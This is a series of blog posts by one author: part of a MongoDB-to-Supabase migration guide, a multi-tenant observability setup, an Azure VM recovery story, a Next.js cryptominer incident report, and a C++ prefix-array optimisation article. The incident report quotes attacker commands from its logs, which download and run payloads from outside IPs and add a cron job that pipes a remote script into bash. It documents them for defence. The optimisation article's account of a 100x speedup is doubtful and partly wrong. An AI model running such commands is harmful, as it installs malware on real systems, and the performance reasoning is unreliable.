Foreign Key Strategy

Phased Constraint Creation

Critical insight: Creating foreign keys during data load is extremely slow. Each INSERT triggers constraint validation.

Our approach:

Create tables without foreign keys
Migrate all data (using service role)
Clean orphaned references
Add foreign keys
Create indexes
Enable and create RLS policies

Orphan Cleanup

Before adding foreign keys, clean up invalid references:

-- Find orphans: child references non-existent parent
SELECT child.id, child.parent_id
FROM child_table child
LEFT JOIN parent_table parent ON child.parent_id = parent.id
WHERE child.parent_id IS NOT NULL
  AND parent.id IS NULL;

-- Clean orphans: set to NULL
UPDATE child_table child
SET parent_id = NULL
WHERE parent_id IS NOT NULL
  AND NOT EXISTS (
    SELECT 1 FROM parent_table
    WHERE id = child.parent_id
  );

Cascade Strategy Decision Matrix

Relationship	ON DELETE	ON UPDATE	Reasoning
Strong ownership	CASCADE	CASCADE	Child meaningless without parent
Soft reference	SET NULL	CASCADE	Preserve child, clear reference
Lookup reference	RESTRICT	CASCADE	Prevent invalid state
Audit/history	NO ACTION	CASCADE	Never delete audit records

Leveraging Supabase Features

After migration, you can take advantage of Supabase's full feature set.

Realtime Subscriptions

Replace MongoDB change streams with Supabase Realtime:

import { createClient } from '@supabase/supabase-js'

const supabase = createClient(SUPABASE_URL, SUPABASE_ANON_KEY)

// Subscribe to changes on a table
const subscription = supabase
  .channel('entities-changes')
  .on(
    'postgres_changes',
    {
      event: '*',  // INSERT, UPDATE, DELETE
      schema: 'public',
      table: 'entities',
      filter: `organization_id=eq.${orgId}`
    },
    (payload) => {
      console.log('Change received:', payload)
      // Handle the change
    }
  )
  .subscribe()

Enable Realtime for Tables

-- Enable realtime for specific tables
ALTER PUBLICATION supabase_realtime ADD TABLE entities;
ALTER PUBLICATION supabase_realtime ADD TABLE entity_items;

Supabase Client for Application Code

Replace MongoDB driver with Supabase client:

// Before: MongoDB
const entities = await db.collection('entities')
  .find({ organizationId: orgId, status: 'active' })
  .toArray()

// After: Supabase (RLS handles org filtering automatically!)
const { data: entities, error } = await supabase
  .from('entities')
  .select('*')
  .eq('status', 'active')

Edge Functions for Complex Operations

Replace MongoDB aggregations with Edge Functions:

// supabase/functions/calculate-metrics/index.ts
import { serve } from 'https://deno.land/std@0.168.0/http/server.ts'
import { createClient } from 'https://esm.sh/@supabase/supabase-js@2'

serve(async (req) => {
  const supabase = createClient(
    Deno.env.get('SUPABASE_URL')!,
    Deno.env.get('SUPABASE_SERVICE_ROLE_KEY')!
  )

  // Complex aggregation that was painful in MongoDB
  const { data, error } = await supabase.rpc('calculate_entity_metrics')

  return new Response(JSON.stringify(data), {
    headers: { 'Content-Type': 'application/json' }
  })
})

Database Functions for Complex Queries

-- Create a function for complex aggregations
CREATE OR REPLACE FUNCTION calculate_entity_metrics(org_id UUID)
RETURNS TABLE (
    status TEXT,
    count BIGINT,
    avg_items NUMERIC
) AS $$
BEGIN
    RETURN QUERY
    SELECT
        e.status,
        COUNT(*)::BIGINT,
        AVG(item_count)::NUMERIC
    FROM entities e
    LEFT JOIN (
        SELECT entity_id, COUNT(*) as item_count
        FROM entity_items
        GROUP BY entity_id
    ) items ON e.id = items.entity_id
    WHERE e.organization_id = org_id
    GROUP BY e.status;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

Storage Integration

Move binary data to Supabase Storage:

// Upload file
const { data, error } = await supabase.storage
  .from('documents')
  .upload(`${orgId}/${entityId}/${filename}`, file)

// Get public URL
const { data: { publicUrl } } = supabase.storage
  .from('documents')
  .getPublicUrl(`${orgId}/${entityId}/${filename}`)

// Store URL in database
await supabase
  .from('entity_attachments')
  .insert({ entity_id: entityId, file_url: publicUrl })

Error Handling & Data Quality

Graceful Degradation

A single bad document should not stop the entire migration:

import logging
from dataclasses import dataclass
from threading import Lock

@dataclass
class MigrationStats:
    """Thread-safe migration statistics."""
    documents_processed: int = 0
    documents_failed: int = 0
    rows_inserted: int = 0
    _lock: Lock = None

    def __post_init__(self):
        self._lock = Lock()

    def record_success(self, rows: int):
        with self._lock:
            self.documents_processed += 1
            self.rows_inserted += rows

    def record_failure(self):
        with self._lock:
            self.documents_processed += 1
            self.documents_failed += 1


def migrate_with_error_handling(bson_path: str, db_connection) -> MigrationStats:
    """Migrate collection with graceful error handling."""
    stats = MigrationStats()
    logger = logging.getLogger(__name__)

    for doc in read_bson_file(bson_path):
        try:
            result = flatten_document(doc, 'entities')
            rows_inserted = insert_all_rows(db_connection, result)
            stats.record_success(rows_inserted)

        except Exception as e:
            stats.record_failure()
            doc_id = doc.get('_id', 'unknown')
            logger.error(f"Failed to migrate document {doc_id}: {e}")

            # Save failed documents for retry
            save_failed_document(doc, str(e))

    return stats

Data Validation

MongoDB allows messy data. Sanitize during transformation:

from typing import Optional

def sanitize_text(value: Optional[str]) -> Optional[str]:
    """Sanitize text for Supabase insertion."""
    if value is None:
        return None

    # Remove null bytes (PostgreSQL doesn't allow \x00)
    value = value.replace('\x00', '')

    # Ensure valid UTF-8
    value = value.encode('utf-8', errors='replace').decode('utf-8')

    # Trim excessive whitespace
    value = ' '.join(value.split())

    return value if value else None

Performance Optimizations

Parallel Collection Processing

Collections are independent—process them in parallel:

from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import List

def migrate_all_collections(
    collection_paths: List[str],
    db_connection_factory,
    max_workers: int = 4
) -> dict:
    """Migrate multiple collections in parallel."""
    results = {}

    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = {}

        for path in collection_paths:
            conn = db_connection_factory()
            future = executor.submit(migrate_collection, path, conn)
            futures[future] = path

        for future in as_completed(futures):
            path = futures[future]
            try:
                stats = future.result()
                results[path] = stats
                print(f"✓ {path}: {stats.documents_processed} docs")
            except Exception as e:
                print(f"✗ {path}: {e}")
                results[path] = None

    return results

Supabase Connection Pooling

Use Supabase's connection pooler for better performance:

# Use pooler connection string (port 6543) instead of direct (port 5432)
# Transaction mode for short queries
POOLER_URL = "postgresql://postgres.[ref]:[pass]@aws-0-[region].pooler.supabase.com:6543/postgres"

# Session mode for migrations (maintains state)
DIRECT_URL = "postgresql://postgres.[ref]:[pass]@db.[ref].supabase.co:5432/postgres"

Deferred Constraint Validation

Disable triggers during bulk load:

-- Before migration (run as superuser/service role)
SET session_replication_role = replica;

-- ... perform bulk insert ...

-- After migration
SET session_replication_role = DEFAULT;

Lessons Learned

1. Plan for Orphaned References

Problem: MongoDB doesn't enforce referential integrity. We found thousands of references to deleted documents.

Solution: Build orphan detection into your pipeline. Run cleanup before adding foreign keys.

2. RLS Performance Requires Indexes

Problem: RLS policies that filter by organization_id are slow without proper indexes.

Solution: Always create indexes on columns used in RLS policies BEFORE enabling policies.

-- Create index BEFORE policy
CREATE INDEX idx_entities_org ON entities(organization_id);

-- Then create policy
CREATE POLICY tenant_isolation ON entities
    USING (organization_id = auth.jwt()->>'org_id');

3. Test with Production-Scale Data

Problem: A migration that works with 1,000 documents may fail with 100,000.

Solution: Test with full production data volume. Monitor memory and query performance.

4. Use Service Role for Migration

Problem: RLS policies block migration inserts if organization_id doesn't match JWT.

Solution: Use service role key during migration (bypasses RLS), then verify RLS works after.

5. Supabase CLI is Your Friend

Solution: Use Supabase CLI for:

Schema migrations (supabase migration new)
Local development (supabase start)
Type generation (supabase gen types typescript)

6. Handle Time Zones Explicitly

Problem: MongoDB dates might be in different time zones.

Solution: Always use TIMESTAMPTZ and explicitly convert to UTC during migration.

Results & Metrics

Migration Statistics

Metric	Value
Source Collections	65
Target Tables	282
Total Rows	~80,000
Foreign Keys	217
Indexes	491
RLS Policies	156
Orphaned References Cleaned	2,847
Failed Documents	12
Success Rate	99.98%

Performance Comparison (Post-Migration)

Query Type	MongoDB	Supabase	Improvement
Simple lookup	5ms	2ms	60%
Aggregation	250ms	45ms	82%
Join (3 tables)	N/A*	15ms	-
Reporting query	2.5s	180ms	93%
Realtime updates	Custom code	Built-in	∞

*MongoDB required multiple queries and application-level joins.

Developer Experience Improvements

Aspect	MongoDB	Supabase
Multi-tenant security	Application code	Database RLS
Realtime	Custom change streams	Built-in
Type safety	Manual	Generated types
Auth integration	Separate system	Integrated
Dashboard	MongoDB Compass	Supabase Studio

Conclusion

Migrating from MongoDB to Supabase is more than a database change—it's an upgrade to a complete backend platform. The relational model brings data integrity, RLS brings security, and Supabase's ecosystem brings developer productivity.

Key Takeaways:

Plan normalization carefully. Each nested structure needs a strategy.
Embrace RLS. It's not just security—it simplifies your application code.
Phase your migration. Schema → Data → Constraints → RLS policies.
Use the full platform. Realtime, Storage, Edge Functions, and Auth are included.
Test at scale. Performance characteristics change with data volume.

Next Steps After Migration

Validation: Compare counts, verify data integrity, test RLS policies
Update Application: Switch to Supabase client, remove manual tenant filtering
Enable Realtime: Add subscriptions where needed
Migrate Files: Move binary data to Supabase Storage
Monitor: Use Supabase dashboard for query performance

Useful Resources

This post is based on a real production migration. Numbers have been rounded, and specific table names have been generalized.

Questions about your own migration? Drop them in the comments!

Building a Multi-Tenant Observability Platform with SigNoz + OneUptime

Prince Raj — Thu, 15 Jan 2026 18:35:08 +0000

Modern SaaS teams need deep observability without sacrificing tenant isolation or compliance. This post explains how we built a multi-tenant monitoring platform that routes logs, metrics, and traces to isolated SigNoz and OneUptime stacks, enforces strong security controls, and aligns with SOC 2 and ISO 27001 practices. The result: each customer gets a dedicated monitoring experience while we keep the operational footprint lean and repeatable.

1) Architecture Overview

We designed a hub-and-spoke model:

A central monitoring VM hosts the observability stack.
Each tenant has either:
- a fully isolated SigNoz stack (frontend, query, collector, ClickHouse), or
- a shared stack with strict routing based on a tenant identifier (for lightweight tenants).
Each application VM runs an OpenTelemetry (OTEL) Collector that tails PM2 logs, receives OTLP traces/metrics, and forwards to the monitoring VM.

This gives a consistent ingestion pipeline while allowing isolation-by-default where needed.

2) Tenant Segregation Strategy

We support two isolation modes:

1) Full isolation per tenant

Dedicated SigNoz stack per tenant
Separate ClickHouse instance
Separate OTEL collector upstream
Strongest data isolation

2) Logical isolation on a shared stack

Single SigNoz + ClickHouse
Routing by business_id (header + resource attribute)
Good for smaller tenants

We default to full isolation for regulated or high-traffic customers.

Key routing headers:

x-business-id for SigNoz
x-oneuptime-token for OneUptime

3) Provisioning and Hardening the Monitoring VM

We treat the monitoring VM as a controlled production system:

SSH keys only, no password auth
Minimal inbound ports (22, 80, 443, 4317/4318)
Nginx as a single TLS ingress
Docker Compose for immutable service layout

Example provisioning steps (high-level):

# SSH key-based access only
az vm user update --resource-group <rg> --name <vm> --username <user> --ssh-key-value "<pubkey>"

# Open required ports (restrict SSH to trusted IPs)
az network nsg rule create ... --destination-port-ranges 22 80 443 4317 4318

4) Multi-Tenant Routing at the Edge

We use Nginx maps to route traffic by hostname for both UI and OTLP ingestion:

map $host $signoz_collector_upstream {
  signoz.tenant-a.example  signoz-otel-collector-tenant-a;
  signoz.tenant-b.example  signoz-otel-collector-tenant-b;
  default                 signoz-otel-collector-default;
}

server {
  listen 4318;
  location / {
    proxy_pass http://$signoz_collector_upstream;
  }
}

This gives us clean DNS-based tenant routing while keeping a single IP.

5) Collector Configuration: Logs, Traces, Metrics

Each tenant VM runs OTEL Collector with filelog + OTLP. We parse PM2 logs (JSON wrapper), normalize severity, and attach resource fields for fast filtering in SigNoz.

Core fields we enforce:

severity_text (info/warn/error)
service.name
deployment.environment
host.name
business_id

Minimal config excerpt:

processors:
  resourcedetection:
    detectors: [system]
  resource:
    attributes:
      - key: business_id
        value: ${env:BUSINESS_ID}
        action: upsert

  transform/logs:
    log_statements:
      - context: log
        statements:
          - set(severity_text, attributes["severity"]) where attributes["severity"] != nil

This makes severity_text, service.name, and host.name searchable immediately in SigNoz.

6) Client-Side Integration (Apps)

We used a consistent OTEL pattern across backend, web, and agent services:

Backend: OTLP exporter for traces
Web: browser traces forwarded to backend (which re-exports)
Agents: OTEL SDK configured with OTEL_EXPORTER_OTLP_ENDPOINT

Typical environment variables:

BUSINESS_ID=tenant-a
SIGNOZ_ENDPOINT=http://signoz.tenant-a.example:4318
ONEUPTIME_ENDPOINT=http://status.tenant-a.example:4318
OTEL_EXPORTER_OTLP_TRACES_ENDPOINT=http://127.0.0.1:4318/v1/traces
DEPLOY_ENV=production

7) DNS and TLS (Public UX)

Each tenant gets:

signoz.
status.

We terminate TLS at Nginx with real certificates (ACME/Let's Encrypt):

sudo certbot --nginx -d signoz.tenant-a.example -d status.tenant-a.example

We keep per-tenant TLS policies aligned with strong ciphers and HSTS.

8) Verification and Observability QA

We validate the pipeline with:

OTEL health endpoint (/health on collector)
Test traffic from backend
ClickHouse queries to confirm log attributes
SigNoz filters for severity_text, service.name, host.name

Example ClickHouse check (internal):

SELECT severity_text, count()
FROM signoz_logs.logs_v2
WHERE resources_string['business_id'] = 'tenant-a'
AND timestamp >= now() - INTERVAL 15 MINUTE
GROUP BY severity_text;

9) Security and Compliance (SOC 2 + ISO 27001)

We implemented controls aligned with SOC 2 and ISO 27001:

Access control: SSH keys only, least privilege, MFA on cloud console.
Network segmentation: minimal open ports; SSH restricted by source IP.
Secrets management: runtime secrets stored in a vault, never in code.
Encryption in transit: TLS everywhere, no plaintext endpoints exposed.
Encryption at rest: disk encryption enabled on VMs and DB volumes.
Audit trails: system logs retained; infra changes tracked in code.
Change management: all config in repos; change reviews before deployment.
Monitoring and alerting: OneUptime for SLOs and uptime checks.
Incident response: documented procedures, retention and escalation.
Backup strategy: ClickHouse backup policies per tenant.

10) Repeatability: Infra + Tenant Config as Code

We split configuration by responsibility:

Monitoring services repo: all infra and Nginx routing
Tenant repos: OTEL collector config and deploy hooks

That means a new VM can be rebuilt with:
1) Pull monitoring repo and run docker compose up -d
2) Update DNS + TLS
3) Run tenant deployment scripts to install collector and env

Final Takeaways

This architecture gives us the best of both worlds:

Strong tenant isolation for compliance-focused clients
Shared ops processes and standard config
Fast log filtering (severity/service/env/host) for high signal-to-noise debugging
A repeatable, audited deployment flow suitable for SOC 2 and ISO 27001 requirements

🚨 How We Rescued a Dead Azure Linux VM After SSH, Agent, and OS Disk All Broke (A Real Production War Story)

Prince Raj — Fri, 09 Jan 2026 09:10:17 +0000

TL;DR:

Azure VM became completely inaccessible:

SSH hung forever

RunCommand was locked

VM agent was corrupted

OS disk had already been swapped once

The fix wasn’t another hack — it was a controlled surgical migration to a fresh VM identity using the same OS disk.

This post is the full battle log.

🧩 The Situation

We were running a monitoring server on Azure (Ubuntu).

One day:

SSH stopped responding (connection established → banner timeout)
Azure RunCommand extension locked itself permanently
VM agent entered a zombie state
Repair VM flow was used
OS disk was restored
And yet… the VM was still broken

At this point the machine was logically alive but operationally dead.

This is the worst kind of outage:

The VM exists, the disk exists, but the control plane is poisoned.

🧠 Why This Happens

Azure VMs have two halves:

Layer	What it Contains
Guest OS	Your files, apps, data, users
Control Plane	VM identity, NIC metadata, agent channels, extensions

Disk repair only fixes the guest OS.

When control plane metadata breaks — the VM is permanently unstable.

This is what happened.

🧯 What We Tried (And Why It Still Failed)

We tried everything:

VM Repair workflow
OS disk swap
SSH daemon reset
Firewall rebuild
iptables flush
VM agent resets
RunCommand agent rebuild
Forced deallocation
Extension deletion
Boot diagnostics

Every symptom disappeared… except the real problem:

The VM identity itself was corrupted.

🛠 The Correct Solution: Lift-and-Shift the OS Disk

When Azure VM identity breaks, you do not fix the VM.

You replace it.

Here’s the exact migration procedure.

🧱 Step-By-Step Recovery

1️⃣ Deallocate the broken VM

az vm deallocate -g prod -n monitoring-server

2️⃣ Detach the OS Disk

osDisk=$(az vm show -g prod -n monitoring-server --query "storageProfile.osDisk.name" -o tsv)

az vm update -g prod -n monitoring-server --remove storageProfile.osDisk

3️⃣ Create a Fresh VM Using the Same Disk

az vm create \
  -g prod \
  -n monitoring-server-v2 \
  --attach-os-disk $osDisk \
  --os-type Linux \
  --size Standard_D2s_v3 \
  --public-ip-sku Standard \
  --vnet-name prod-vnet \
  --subnet default \
  --nsg prod-nsg \
  --admin-username azureuser \
  --generate-ssh-keys

This boots the entire original system on a clean VM identity.

4️⃣ SSH Into the New Server

ssh azureuser@<NEW_PUBLIC_IP>

💥 The server comes up instantly.
All services intact.
No corruption.
No agent problems.
No SSH issues.

5️⃣ Delete the Broken VM

After verifying everything:

az vm delete -g prod -n monitoring-server --yes

🧬 Why This Works

The disk is never the problem.
The problem is VM metadata rot:

Corrupted agent channels
Broken extension registry
Stuck execution locks
Damaged NIC bindings
Poisoned provisioning state

By re-hydrating the OS disk on a new VM object, you bypass all of it.

This is the same internal process Azure support uses.

🧭 Lessons Learned

Disk ≠ VM
Repair fixes OS, not control plane
SSH problems after disk swap are usually identity corruption
Don’t waste days debugging a poisoned VM
Rebuild the VM, not the disk

🧨 Final Thought

When your VM is half-alive and nothing makes sense anymore…

Stop fixing it.
Move the brain (OS disk) into a new body (VM).

This approach saved my production monitoring stack and cut downtime from days to minutes.

If this saved you — share it.
Someone else is debugging this exact nightmare right now.

Happy debugging 👨‍💻🔥

We Got Hacked: How CVE-2025-55182 Turned Our Next.js App Into a Crypto Mine

Prince Raj — Mon, 08 Dec 2025 06:05:36 +0000

How We Got Exploited by CVE-2025-55182 and What We Learned

TL;DR: Our Next.js application was compromised 2 days after CVE-2025-55182 was publicly disclosed. A critical Remote Code Execution vulnerability in React Server Components allowed an attacker to deploy cryptomining malware. Full remediation took 15 minutes. Here's how it happened and how you can protect yourself.

The Call That Changed Everything

8:30 AM - Slack notification: "Admin panel is down. Gateway errors everywhere."

8:32 AM - We discovered our PM2 process list looked like a horror story:

│ 0  │ boss-backend        │ waiting │ 8450 │ 0%  │

The backend had crashed 8,450 times. Something was seriously wrong.

Discovery: The Smoking Gun

While investigating the crash logs, our security monitor revealed something alarming that had been running undetected for ~2 days:

WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%

kdevtmpfsi - a well-known cryptominer malware signature.

Our server was being used to mine cryptocurrency. And we didn't even know it.

The Vulnerability: CVE-2025-55182

On December 3rd, a critical vulnerability (CVSS 10.0) was disclosed affecting React Server Components and Next.js:

Detail	Value
CVE ID	CVE-2025-55182
Affected Component	React Server Components (RSC)
Affected Versions	Next.js 15.x (before patches), React 19.0-19.2
Our Version	Next.js 15.5.0 ❌
Attack Vector	Network, No Authentication Required
CVSS Score	10.0 (Critical)

Why It's So Dangerous

The vulnerability exists in the React Server Components "Flight" protocol, which handles serialization/deserialization between server and client. Due to insecure deserialization, an attacker can craft a malicious HTTP request that executes arbitrary code on your server.

Key characteristics:

✗ No authentication required
✗ Works on default configurations
✗ Public exploits are available
✗ One request is all it takes

Your existing firewall, rate limiting, and Fail2ban rules won't help. This is an application-level vulnerability, not a network-level one.

How We Got Pwned (Timeline)

Based on log analysis, here's exactly what happened:

December 5, 2025

12:30 PM - First attack attempt logged:

Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim; 
chmod +x /tmp/vim; nohup /tmp/vim > /dev/null 2>&1

The attacker was downloading and executing a malicious binary disguised as "vim".

1:50 PM - Second wave: Botnet deployment attempts

wget -q http://194.69.203.32:81/hiddenbink/react.sh -O bins.sh; 
chmod 777 bins.sh; ./bins.sh

5:01 PM - The real payload: Kinsing cryptominer

wget http://193.34.213.150/nuts/lc -O /tmp/config.json
wget http://193.34.213.150/nuts/x -O /tmp/fghgf

December 6, 2025

~Midnight - The cryptominer kdevtmpfsi spawns and starts consuming 352% CPU (3.5 cores)

7:04 PM - Attacker establishes persistence by installing malicious cron jobs

December 8, 2025

5:33 AM - System becomes unresponsive. Investigation begins.

What the Attacker Actually Got

After forensic analysis, we discovered:

Installed Malware

Kinsing (/tmp/kinsing) - Dropper/loader
Kdevtmpfsi (/tmp/kdevtmpfsi) - XMRig-based Monero cryptominer
Libsystem.so (/tmp/libsystem.so) - LD_PRELOAD rootkit (process hiding)
Config.json (/tmp/config.json) - Mining pool configuration

Persistence Mechanisms

The attacker added multiple cron jobs to ensure reinfection:

@reboot /usr/bin/.kworker react 20.193.135.188:443
* * * * * wget -q -O - http://80.64.16.241/re.sh | bash

That last line runs every minute - a "phone home" mechanism that ensures the malware comes back even if manually removed.

What They DIDN'T Get

✓ No data exfiltration - This was CPU theft, not data theft

✓ No root access - Attacker was limited to user-level permissions

✓ No lateral movement - Attack was isolated to this single server

The good news: This was resource consumption, not information theft. But still incredibly embarrassing.

How Our Security Failed Us

We had multiple security layers in place. They all failed:

Security Measure	Why It Failed
Fail2ban	Designed for brute-force attacks, not code injection
UFW Firewall	Attack came through legitimate HTTPS (port 443)
Redis Auth	Attack didn't target Redis, it used HTTP
Security Monitor	Detected `kdevtmpfsi` but didn't recognize it as malware

The root cause: Over-reliance on perimeter security instead of application-level protection.

Remediation (15 Minutes)

Step 1: Kill the Malware

sudo kill -9 $(pgrep -f kdevtmpfsi)
sudo kill -9 $(pgrep -f kinsing)

Step 2: Remove Persistence

# Clean crontab
echo "*/5 * * * * /path/to/legitimate-monitor.sh" | crontab -

# Remove malware files
sudo rm -f /tmp/kinsing /tmp/kdevtmpfsi /tmp/libsystem.so /tmp/config.json

Step 3: Patch the Application

cd apps/web
npm install next@15.5.7 react@19.0.1 react-dom@19.0.1
npm run build
pm2 restart boss-frontend

Step 4: Verify

npm list next
# ✓ next@15.5.7 (patched version confirmed)

Total time: ~15 minutes from discovery to full recovery.

Lessons Learned

What Went Wrong

Delayed Patching - CVE disclosed Dec 3, we were exploited Dec 5 (2-day window)
Incomplete Detection - Security monitor didn't recognize the malware process
No Outbound Monitoring - Couldn't detect connections to mining pools
Overconfidence - Assumed perimeter security was enough

What Went Right

Existing Monitoring - PM2 made it obvious something was crashing repeatedly
Quick Response - Once discovered, full containment in minutes
Limited Damage - Resource theft, not data theft
Automated Tools - PM2 and npm made recovery fast

How to Protect Yourself

Immediate Actions (Do These Now)

Check Your Version

npm list next
npm list react
npm list react-dom

If you're on Next.js 15.x, 16.x or React 19.0-19.2, you're vulnerable.

Update to Patched Versions

npm install next@latest react@latest react-dom@latest
npm run build

Subscribe to Security Advisories
Add npm audit to your CI/CD pipeline
Enable Dependabot or Snyk for automated alerts
Subscribe to Vercel security updates

Short-Term Protections (This Week)

Enable WAF Rules
If using Cloudflare, AWS WAF, or Vercel, enable their RSC protection rules. They've already deployed specific defenses for CVE-2025-55182.
Add Dependency Scanning to CI/CD

npm audit --audit-level=high

Fail the build if critical vulnerabilities are found.

Long-Term Improvements (This Month)

Monitor Outbound Connections
Log and alert on unusual outbound network traffic. Mining pools typically connect to known IPs.
Implement CPU/Memory Limits
Use cgroups or container limits to alert when processes exceed thresholds.
File Integrity Monitoring
Monitor /tmp and other writable directories for new executable files.
Consider Containerization
If not already done, containerizing your application provides better resource isolation and easier recovery.

Key Takeaways

Patch immediately - A 2-day window is all attackers need
Application security matters - Your firewall won't save you from RCE
Perimeter defense is incomplete - You need defense-in-depth
Detect and respond quickly - We went from compromise to recovery in 15 minutes because we had good monitoring
Share knowledge - Every attacker learns from every successful exploit; the community benefits from incident reports

Questions?

If you're running Next.js or React Server Components, now is the time to patch. Don't wait 2 days like we did.

Have you been affected by this vulnerability? Share your experience in the comments.

This incident report has been sanitized to protect sensitive system details while sharing valuable security lessons with the community. All infrastructure details, IP addresses of attacker infrastructure, and specific server configurations have been removed or generalized.

Optimizing Code for Performance: A Case Study in Prefix Arrays

Prince Raj — Mon, 09 Dec 2024 22:00:41 +0000

In the world of competitive programming and algorithm design, even small changes in code can result in massive performance gains. In this article, we analyze a simple yet significant optimization in a problem-solving code. We'll dissect the two versions of a function designed to determine if subarrays of a given array are "special," as defined by a specific condition. One version of the code executes in 435ms, while a slightly modified version runs in 4ms. Let's uncover why.

The Problem Statement

The problem involves determining whether a subarray of integers is "special." A subarray is special if, for every consecutive pair of elements, their parities alternate (i.e., one is even, the other is odd, and vice versa). Given an array nums and a set of queries [u, v] (where u and v are the bounds of the subarray), the task is to answer whether each subarray satisfies the "special" condition.

The Solution: Prefix Arrays

Both implementations leverage a prefix array (pref) to preprocess the data for efficient query answering. The prefix array pref[i] stores the count of parity alternations from the start of the array up to index i. Queries are answered using the difference between two prefix values, avoiding the need to re-check the array for each query.

First Implementation: The Slower Version

class Solution {
public:
    vector<bool> isArraySpecial(vector<int>& nums, vector<vector<int>>& queries) {
        int n = nums.size();
        vector<int> pref(n+1, 0);
        for (int i = 1; i < n; i++) {
            pref[i+1] = pref[i];
            if (nums[i] % 2 != nums[i-1] % 2) {
                pref[i+1]++;
            }
        }

        vector<bool> ans;
        for (auto& query : queries) {
            int u = query[0], v = query[1];
            if (u == v){
                ans.push_back(true);
                continue;
            }
            ans.push_back(pref[v+1] - pref[u+1] == v - u);
        }

        return ans;
    }
};

Second Implementation: The Faster Version

class Solution {
public:
    vector<bool> isArraySpecial(vector<int>& nums, vector<vector<int>>& queries) {
        int n = nums.size();
        vector<int> pref(n+1, 0);
        for (int i = 1; i < n; i++) 
            pref[i+1] = pref[i] + (nums[i] % 2 != nums[i-1] % 2);

        vector<bool> ans;
        for (auto& query : queries) {
            int u = query[0], v = query[1];
            if (u == v){
                ans.push_back(true);
                continue;
            }
            ans.push_back(pref[v+1] - pref[u+1] == v - u);
        }

        return ans;
    }
};

Key Differences

1. Incremental Assignment in Prefix Calculation

Slow Version:

  pref[i+1] = pref[i];
  if (nums[i] % 2 != nums[i-1] % 2) {
      pref[i+1]++;
  }

Here, the prefix array is updated in two steps:

First, the value from the previous prefix index is copied.
Then, the value is conditionally incremented.
- Fast Version:

  pref[i+1] = pref[i] + (nums[i] % 2 != nums[i-1] % 2);

In this version, the prefix array is updated in a single step using an arithmetic expression.

2. Compiler Optimization and CPU Pipelines

The expression (nums[i] % 2 != nums[i-1] % 2) in the fast version is directly added to the prefix value, avoiding branching logic. CPUs are optimized for branch prediction and instruction pipelining, and conditional statements (like if) introduce potential branch mispredictions. The fast version eliminates branching entirely in the prefix computation loop.

3. Memory Access Patterns

In the slow version:

Memory is accessed twice for each prefix update (pref[i] and pref[i+1]). In the fast version:
Memory is accessed once per update (pref[i+1]).

Although this may seem minor, repeated memory accesses can significantly impact performance in tight loops, especially for large arrays.

Why the Huge Difference in Execution Time?

Time Complexity

Both versions have the same theoretical time complexity:

Preprocessing: ( O(n) )
Query Answering: ( O(q) ), where ( q ) is the number of queries.

However, constant factors matter in real-world performance:

The fast version avoids branching and redundant memory operations, minimizing execution overhead.
The slow version introduces branch misprediction penalties and additional operations per loop iteration.

Empirical Results

Slow Version: 435ms
Fast Version: 4ms

This 100x improvement is a testament to the power of micro-optimizations, especially in competitive programming contexts.

Lessons Learned

Avoid Conditional Statements in Tight Loops: Whenever possible, replace if-based logic with arithmetic expressions to exploit the CPU's efficiency with branchless code.
Minimize Memory Access: Reducing redundant memory reads and writes can significantly boost performance.
Understand Your Tools: A deep understanding of how compilers and CPUs optimize code can help write more efficient solutions.
Profile Your Code: Use profiling tools to identify bottlenecks and focus your optimization efforts where they matter most.

Conclusion

In programming, small details often make a big difference. The journey from 435ms to 4ms illustrates how thoughtful optimizations, such as avoiding branches and reducing memory operations, can transform code performance. For competitive programmers, these insights are not just valuable—they're essential.